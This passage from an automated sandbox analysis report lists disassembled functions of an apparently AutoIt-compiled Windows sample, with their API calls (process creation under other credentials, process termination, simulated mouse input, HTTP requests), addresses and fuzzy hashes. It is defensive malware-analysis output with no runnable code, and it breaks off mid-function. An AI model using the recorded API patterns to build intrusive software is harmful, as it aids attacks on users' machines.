Part of subcall function 001039A0: GetWindowRect.USER32(?,?), ref: 001039B3

GetDesktopWindow.USER32 ref: 001070D6
GetWindowRect.USER32(00000000), ref: 001070DD
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 0010710F

Part of subcall function 000F5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 000F52BC

GetCursorPos.USER32(?), ref: 0010713B
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00107199

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 405cb5dc573ba6d11ccea1edf75358c6a4de7d89bc2ff51e7fbd6ec931858bb8
Instruction ID: c9e5ab7afc0a751caee1985276e046ca2688d9c65bb8d920bff4382fd913ab61
Opcode Fuzzy Hash: 405cb5dc573ba6d11ccea1edf75358c6a4de7d89bc2ff51e7fbd6ec931858bb8
Instruction Fuzzy Hash: 4E31F072508309ABC724DF14CC49B9BB7AAFF88304F000929F594971D2CB70EA4ACB92

Function 000E8879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000E80A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 000E80C0
Part of subcall function 000E80A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 000E80CA
Part of subcall function 000E80A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 000E80D9
Part of subcall function 000E80A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 000E80E0
Part of subcall function 000E80A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 000E80F6

GetLengthSid.ADVAPI32(?,00000000,000E842F), ref: 000E88CA
GetProcessHeap.KERNEL32(00000008,00000000), ref: 000E88D6
HeapAlloc.KERNEL32(00000000), ref: 000E88DD
CopySid.ADVAPI32(00000000,00000000,?), ref: 000E88F6
GetProcessHeap.KERNEL32(00000000,00000000,000E842F), ref: 000E890A
HeapFree.KERNEL32(00000000), ref: 000E8911

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 87a8de31d852ca2c15d9a725c00f7bd92bef1ac188c985778db7c65818911178
Instruction ID: f0fd1724c9cf0f5bfb5dfce3392211627d5f18b036707782092aa7208028ae75
Opcode Fuzzy Hash: 87a8de31d852ca2c15d9a725c00f7bd92bef1ac188c985778db7c65818911178
Instruction Fuzzy Hash: 4111AC31A01609FFDB549FA5DD0ABFE7BA9EB44311F14C12CE889A7211CB329941DB60

Function 000E85B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 000E85E2
OpenProcessToken.ADVAPI32(00000000), ref: 000E85E9
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 000E85F8
CloseHandle.KERNEL32(00000004), ref: 000E8603
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 000E8632
DestroyEnvironmentBlock.USERENV(00000000), ref: 000E8646

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 7d7a0f757eeea9cbd69ccdde3c819656933bb0e5916f8083df2a21a9305be811
Instruction ID: 1e86b6e6f6ce618d6ef38b96134af4e52cf61a4f9fafd3e68d5c06a98dc11bf0
Opcode Fuzzy Hash: 7d7a0f757eeea9cbd69ccdde3c819656933bb0e5916f8083df2a21a9305be811
Instruction Fuzzy Hash: B0115C72501249AFDF01CFA5DD49BDE7BA9EF48304F048068FE08A21A0C7718E61DB60

Function 000EB790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 000EB7B5
GetDeviceCaps.GDI32(00000000,00000058), ref: 000EB7C6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 000EB7CD
ReleaseDC.USER32(00000000,00000000), ref: 000EB7D5
MulDiv.KERNEL32(000009EC,?,00000000), ref: 000EB7EC
MulDiv.KERNEL32(000009EC,?,?), ref: 000EB7FE

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 5caf627eb4ab2391c402106f33f73d486f5b7227102d85cdcc10791020b54864
Instruction ID: d324213faa130c0e91112edbdb49b30f328b7797e9173814a85ad0919230e6ca
Opcode Fuzzy Hash: 5caf627eb4ab2391c402106f33f73d486f5b7227102d85cdcc10791020b54864
Instruction Fuzzy Hash: 6E014475E00219BFEF109BA69D45A9EBFB8EB48751F008079FA08A7291D6709C11CF91

Function 000B0162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 000B0193
MapVirtualKeyW.USER32(00000010,00000000), ref: 000B019B
MapVirtualKeyW.USER32(000000A0,00000000), ref: 000B01A6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 000B01B1
MapVirtualKeyW.USER32(00000011,00000000), ref: 000B01B9
MapVirtualKeyW.USER32(00000012,00000000), ref: 000B01C1

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: ce82bcb7278880de00b904e6b788da43c0824fe3c8b1a98348e4c9dd8ca13f32
Instruction ID: a8423c45a14cf10559a1901d901ed5acf65f93bb4e0a498974e748dd691f06e4
Opcode Fuzzy Hash: ce82bcb7278880de00b904e6b788da43c0824fe3c8b1a98348e4c9dd8ca13f32
Instruction Fuzzy Hash: 75016CB0901B597DE3008F5A8C85B52FFA8FF19354F00411FA15C47941C7F5A864CBE5

Function 000F53E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 000F53F9
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 000F540F
GetWindowThreadProcessId.USER32(?,?), ref: 000F541E
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 000F542D
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 000F5437
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 000F543E

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 75f1f4cc12c74c4a349917cc11c43ac43bef99b6bdd7ee728cfb3f35854e09e0
Instruction ID: 70fe486810e063c8a7c0b59790c289b9f7c68d29db0e3cda9037d89520e35a6a
Opcode Fuzzy Hash: 75f1f4cc12c74c4a349917cc11c43ac43bef99b6bdd7ee728cfb3f35854e09e0
Instruction Fuzzy Hash: 37F09032240558BBE3255BA2DD0DEEF7B7CEFC6B11F00416DFA04D1461E7A01A42C6B5

Function 000F7230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 000F7243
EnterCriticalSection.KERNEL32(?,?,000A0EE4,?,?), ref: 000F7254
TerminateThread.KERNEL32(00000000,000001F6,?,000A0EE4,?,?), ref: 000F7261
WaitForSingleObject.KERNEL32(00000000,000003E8,?,000A0EE4,?,?), ref: 000F726E

Part of subcall function 000F6C35: CloseHandle.KERNEL32(00000000,?,000F727B,?,000A0EE4,?,?), ref: 000F6C3F

InterlockedExchange.KERNEL32(?,000001F6), ref: 000F7281
LeaveCriticalSection.KERNEL32(?,?,000A0EE4,?,?), ref: 000F7288

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 1c0724501883347270593c290123a6c5527acfed77b14e312c42a849fe087016
Instruction ID: c6b023ad023ee76a45f6523b8894f26fc48a74c1c03a7739cf2d1134357dd9f5
Opcode Fuzzy Hash: 1c0724501883347270593c290123a6c5527acfed77b14e312c42a849fe087016
Instruction Fuzzy Hash: E6F02736440A02EBD7551F24EE4C9EB373AFF04312F00423AF603908B0CBB69882CB51

Function 000E8992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 000E899D
UnloadUserProfile.USERENV(?,?), ref: 000E89A9
CloseHandle.KERNEL32(?), ref: 000E89B2
CloseHandle.KERNEL32(?), ref: 000E89BA
GetProcessHeap.KERNEL32(00000000,?), ref: 000E89C3
HeapFree.KERNEL32(00000000), ref: 000E89CA

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: c65f9b27024bbe343eaf41446f8bffe6ac3334d41ec5a4090fa3caf33f997cbc
Instruction ID: 815b17a45493c5ef35dcc4e66565101fa10bb4fcc5ad8f605c22498026dc64be
Opcode Fuzzy Hash: c65f9b27024bbe343eaf41446f8bffe6ac3334d41ec5a4090fa3caf33f997cbc
Instruction Fuzzy Hash: EDE0C936104801FBD6051FE1EE0C985BB69FB893227108234F22581870CB3254A2DB50

Function 001085ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00108613
CharUpperBuffW.USER32(?,?), ref: 00108722
VariantClear.OLEAUT32(?), ref: 0010889A

Part of subcall function 000F7562: VariantInit.OLEAUT32(00000000), ref: 000F75A2
Part of subcall function 000F7562: VariantCopy.OLEAUT32(00000000,?), ref: 000F75AB
Part of subcall function 000F7562: VariantClear.OLEAUT32(00000000), ref: 000F75B7

Strings

Incorrect Parameter format, xrefs: 0010864B, 0010880D
AUTOIT.ERROR, xrefs: 00108728

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: c8834e47d0780d8ead1e34683bc1d1f90c80a9d23fa87ae3372d46d3f5b1103f
Instruction ID: 56f3931c69ee8dc1fc1998c3607d43fc99d1ad035c9c71966dbb64e44fbe52ed
Opcode Fuzzy Hash: c8834e47d0780d8ead1e34683bc1d1f90c80a9d23fa87ae3372d46d3f5b1103f
Instruction Fuzzy Hash: 10918F70608301DFCB14DF24C4859AAB7E4EF89714F14892EF8CA9B3A2DB71E945CB52

Function 000F2A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000AFC86: _wcscpy.LIBCMT ref: 000AFCA9

_memset.LIBCMT ref: 000F2B87
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 000F2BB6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 000F2C69
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 000F2C97

Strings

0, xrefs: 000F2B73

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 5ab549ab335e11677643e0ec03e71c62fd16b2eda820ae46dd014c45da08bb8b
Instruction ID: 8236d8c3faa9fed276f0713cac23112af388296a9ea42927d3cae4d47b3f857d
Opcode Fuzzy Hash: 5ab549ab335e11677643e0ec03e71c62fd16b2eda820ae46dd014c45da08bb8b
Instruction Fuzzy Hash: 4D51CD712083089AD765DF28C845ABFBBE8EF45350F040A2DFA95D7591DB74CC44AB92

Function 000A3137 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 000A3277
_memmove.LIBCMT ref: 000A3310
_free.LIBCMT ref: 000A3336
_memmove.LIBCMT ref: 000A33E9

Strings

_, xrefs: 000A3322
3c, xrefs: 000A3225

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memmove$_free
String ID: 3c$_
API String ID: 2620147621-1752800395
Opcode ID: c91e143019da6fb087c633b0d9256a26fbcf6a9062efb33bd9c38d44cc7f96ee
Instruction ID: fc3c84a1e0d1ce253359838aaa9395094688e3033fab9cf489a4e3525bb66803
Opcode Fuzzy Hash: c91e143019da6fb087c633b0d9256a26fbcf6a9062efb33bd9c38d44cc7f96ee
Instruction Fuzzy Hash: F8514B71A083418FDB65CF68C841BAFBBE5AF8A310F04492DF98987351EB31E941CB52

Function 000A6192 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000A6248
_memmove.LIBCMT ref: 000A62E4
_memset.LIBCMT ref: 000A6308

Strings

ERCP, xrefs: 000A61B3
3c, xrefs: 000A62AF

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memset$_memmove
String ID: 3c$ERCP
API String ID: 2532777613-841574606
Opcode ID: af0ad1b8521ce3704dde51d8f35c6996a0d57120ce61d5c39dd517e7dabb88b3
Instruction ID: 80909d50999b1bf791bd04e5eab1b2ec90c7188b40842aa5a88dd67b85eca65d
Opcode Fuzzy Hash: af0ad1b8521ce3704dde51d8f35c6996a0d57120ce61d5c39dd517e7dabb88b3
Instruction Fuzzy Hash: BA519B71900705DFDB24CFA5C981BEABBF4EF05314F24896EE84ADB251E771AA81CB50

Function 000ED56C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 000ED5D4
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 000ED60A
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 000ED61B
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 000ED69D

Strings

DllGetClassObject, xrefs: 000ED610

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: e1fe0767c6700138ae014c21ac5bb6cf1d73b13bc7b56aa7b4a4ac7706ec6d18
Instruction ID: 1611ab56bbdf17896787d478fda48e3badb2c29066f128ea57d6fa1cb61ecc46
Opcode Fuzzy Hash: e1fe0767c6700138ae014c21ac5bb6cf1d73b13bc7b56aa7b4a4ac7706ec6d18
Instruction Fuzzy Hash: 13419FB1600244EFDB15CF65C984A9ABBF9EF44314F1581AEED09AF206D7B2DD44CBA0

Function 000F2753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000F27C0
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 000F27DC
DeleteMenu.USER32(?,00000007,00000000), ref: 000F2822
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00155890,00000000), ref: 000F286B

Strings

0, xrefs: 000F27B5

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 4a405199299d2f77e6aa4a1364fe4db0a590bff14cfd20063c2a173f11493424
Instruction ID: 041b77bd2c71f28df8b3596417665f64d5b7cd8bd99ce239c245a0737c2f1b24
Opcode Fuzzy Hash: 4a405199299d2f77e6aa4a1364fe4db0a590bff14cfd20063c2a173f11493424
Instruction Fuzzy Hash: 0041E1702053059FDB20DF24CC44BBABBE8EF85354F044A2DFA6597692CB30E806DB52

Function 0010D7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0010D7C5

Part of subcall function 0009784B: _memmove.LIBCMT ref: 00097899

Strings

winapi, xrefs: 0010D836
none, xrefs: 0010D8A0
stdcall, xrefs: 0010D847
cdecl, xrefs: 0010D81C

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: ac5935db7f729e2294f5953b46c05f567c4d0f6ec1b0aa54afd8c653266ccc75
Instruction ID: 2c04f57eda544e313c511d49e3e378808e66f3f7e66f4c01ffccb47d2d1f6d5e
Opcode Fuzzy Hash: ac5935db7f729e2294f5953b46c05f567c4d0f6ec1b0aa54afd8c653266ccc75
Instruction Fuzzy Hash: BE319071904619AFCF00EFA4DD519FEB3B5FF05320B108A2AE865A76D2DB71A905CB80

Function 000E8E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

Part of subcall function 000EAA99: GetClassNameW.USER32(?,?,000000FF), ref: 000EAABC

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 000E8F14
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 000E8F27
SendMessageW.USER32(?,00000189,?,00000000), ref: 000E8F57

Part of subcall function 00097BCC: _memmove.LIBCMT ref: 00097C06

Strings

ListBox, xrefs: 000E8ED3
ComboBox, xrefs: 000E8E9E

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 9ca2e77d76ab54ac0a6f023f9ef026e130c29812230776608f53ee417952eec2
Instruction ID: 4004a9ed10a3d05220d418ff0ecc3d74f587649443556554d116cd3030e7dff2
Opcode Fuzzy Hash: 9ca2e77d76ab54ac0a6f023f9ef026e130c29812230776608f53ee417952eec2
Instruction Fuzzy Hash: 2121F271A04104BEDF18ABB1DC45DFFB7A9DF05320F048529F429A71E2DB35484AD710

Function 0010182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0010184C
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00101872
